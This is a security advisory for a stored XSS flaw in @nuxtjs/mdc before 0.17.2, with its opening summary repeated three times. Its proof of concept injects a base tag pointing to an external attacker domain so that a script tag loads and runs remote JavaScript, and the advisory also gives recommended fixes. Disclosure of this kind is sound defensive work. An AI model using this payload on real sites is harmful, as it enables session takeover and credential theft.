mdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)

MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.

MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.

MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.

### Summary A **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. ### Details - **Affected file** : `src/runtime/parser/utils/props.ts` - **Core logic**  : `validateProp()` inspects * attributes that start with `on` → blocked * `href` or `src` → filtered by `isAnchorLinkAllowed()` Every other attribute and every **tag** (including `<base>`) is allowed unchanged, so the malicious `href` on `<base>` is never validated. ``` export const validateProp = (attribute: string, value: string) => { if (attribute.startsWith('on')) return false if (attribute === 'href' || attribute === 'src') { return isAnchorLinkAllowed(value) } return true // ← “href” on <base> not checked } ``` As soon as `<base href="https://vozec.fr">` is parsed, any later relative path—`/script.js`, `../img.png`, etc.—is fetched from the attacker’s domain. ### Proof of Concept Place the following in any Markdown handled by Nuxt MDC: ``` <base href="https://vozec.fr"> <script src="/xss.js"></script> ``` 1. Start the Nuxt app (`npm run dev`). 2. Visit the page. 3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it). ### Impact - **Type**: Stored XSS via remote script inclusion - **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments…). - **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts. ### Recommendations 1. **Disallow or sanitize `<base>` tags** in the renderer. The safest fix is to strip them entirely. 2. Alternatively, restrict `href` on `<base>` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin. 3. Publish a patched release and document the security fix. 4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: ['base']`.